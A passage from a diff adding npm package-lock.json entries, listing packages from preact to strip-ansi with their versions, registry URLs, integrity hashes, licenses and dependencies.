"sha512-Z2dPnBnMUfyQfSQ+GBdsGa16hz35YmLmtTLhM169uW944hYL6xzTYkJjC07j+Wosz733pMWx0fgON3JNw1jJQA==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/preact" + } + }, + "node_modules/preact-render-to-string": { + "version": "5.2.6", + "resolved": "https://registry.npmjs.org/preact-render-to-string/-/preact-render-to-string-5.2.6.tgz", + "integrity": "sha512-JyhErpYOvBV1hEPwIxc/fHWXPfnEGdRKxc8gFdAZ7XV4tlzyzG847XAyEZqoDnynP88akM4eaHcSOzNcLWFguw==", + "license": "MIT", + "dependencies": { + "pretty-format": "^3.8.0" + }, + "peerDependencies": { + "preact": ">=10" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/pretty-format": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-3.8.0.tgz", + "integrity": "sha512-WuxUnVtlWL1OfZFQFuqvnvs6MiAGk9UNsBostyBOB0Is9wb5uRESevA6rnl/rkksXaGX3GzZhPup5d6Vp1nFew==", + "license": "MIT" + }, + "node_modules/prisma": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/prisma/-/prisma-7.4.2.tgz", + "integrity": "sha512-2bP8Ruww3Q95Z2eH4Yqh4KAENRsj/SxbdknIVBfd6DmjPwmpsC4OVFMLOeHt6tM3Amh8ebjvstrUz3V/hOe1dA==", + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/config": "7.4.2", + "@prisma/dev": "0.20.0", + "@prisma/engines": "7.4.2", + "@prisma/studio-core": "0.13.1", + "mysql2": "3.15.3", + "postgres": "3.4.7" + }, + "bin": { + "prisma": "build/index.js" + }, + "engines": { + "node": "^20.19 || ^22.12 || >=24.0" + }, + "peerDependencies": { + "better-sqlite3": ">=9.0.0", + "typescript": ">=5.4.0" + }, + "peerDependenciesMeta": { + "better-sqlite3": { + "optional": true + }, + "typescript": { + "optional": true + } + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dev": true, + "license": "MIT", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/proper-lockfile": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", + "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "retry": "^0.12.0", + "signal-exit": "^3.0.2" + } + }, + "node_modules/proper-lockfile/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC" + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/pure-rand": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.1.0.tgz", + "integrity": "sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT" + }, + "node_modules/qrcode": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/qrcode/-/qrcode-1.5.4.tgz", + "integrity": "sha512-1ca71Zgiu6ORjHqFBDpnSMTR2ReToX4l1Au1VFLyVeBTFavzQnv5JxMFr3ukHVKpSrSA2MCk0lNJSykjUfz7Zg==", + "license": "MIT", + "dependencies": { + "dijkstrajs": "^1.0.1", + "pngjs": "^5.0.0", + "yargs": "^15.3.1" + }, + "bin": { + "qrcode": "bin/qrcode" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/rc9": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/rc9/-/rc9-2.1.2.tgz", + "integrity": "sha512-btXCnMmRIBINM2LDZoEmOogIZU7Qe7zn4BpomSKZ/ykbLObuBdvG+mFq11DL6fjH1DRwHhrlgtYWG96bJiC7Cg==", + "license": "MIT", + "dependencies": { + "defu": "^6.1.4", + "destr": "^2.0.3" + } + }, + "node_modules/react": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz", + "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz", + "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.2" + }, + "peerDependencies": { + "react": "^18.3.1" + } + }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", + "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.7", + "get-proto": "^1.0.1", + "which-builtin-type": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexp-to-ast": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/regexp-to-ast/-/regexp-to-ast-0.5.0.tgz", + "integrity": "sha512-tlbJqcMHnPKI9zSrystikWKwHkBqu2a/Sgw01h3zFjvYrMxEDYHzzoMZnUrbIfpTFEsoRnnviOXNCzFiSc54Qw==", + "license": "MIT" + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz", + "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-errors": "^1.3.0", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/remeda": { + "version": "2.33.4", + "resolved": "https://registry.npmjs.org/remeda/-/remeda-2.33.4.tgz", + "integrity": "sha512-ygHswjlc/opg2VrtiYvUOPLjxjtdKvjGz1/plDhkG66hjNjFr1xmfrs2ClNFo/E6TyUFiwYNh53bKV26oBoMGQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/remeda" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "license": "ISC" + }, + "node_modules/resolve": { + "version": "1.22.11", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", + "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve-pkg-maps": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz", + "integrity": "sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/privatenumber/resolve-pkg-maps?sponsor=1" + } + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-array-concat": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz", + "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "has-symbols": "^1.1.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-push-apply": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz", + "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-regex-test": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz", + "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-regex": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/scheduler": { + "version": "0.23.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", + "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/seq-queue": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/seq-queue/-/seq-queue-0.0.5.tgz", + "integrity": "sha512-hr3Wtp/GZIc/6DAGPDcV4/9WoZhjrkXsi5B/07QgX8tsdc6ilr7BFM6PM6rbdAX1kFSDYeZGLipIZZKyQP0O5Q==" + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "license": "ISC" + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-function-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz", + "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-proto": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz", + "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", + "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/split2": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", + "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", + "license": "ISC", + "engines": { + "node": ">= 10.x" + } + }, + "node_modules/sqlstring": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/sqlstring/-/sqlstring-2.3.3.tgz", + "integrity": "sha512-qC9iz2FlN7DQl3+wjwn3802RTyjCx7sDvfQEXchwa6CWOx07/WVfh91gBmQ9fahw8snwGEWU3xGzOt4tFyHLxg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/stable-hash": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/stable-hash/-/stable-hash-0.0.5.tgz", + "integrity": "sha512-+L3ccpzibovGXFK+Ap/f8LOS0ahMrHTf3xu7mMLSpEGU0EO9ucaysSylKo9eRDFNhWve/y275iPmIZ4z39a9iA==", + "dev": true, + "license": "MIT" + }, + "node_modules/std-env": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", + "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", + "license": "MIT" + }, + "node_modules/stop-iteration-iterator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz", + "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "internal-slot": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/streamsearch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz", + "integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/string-width/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/string-width/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + 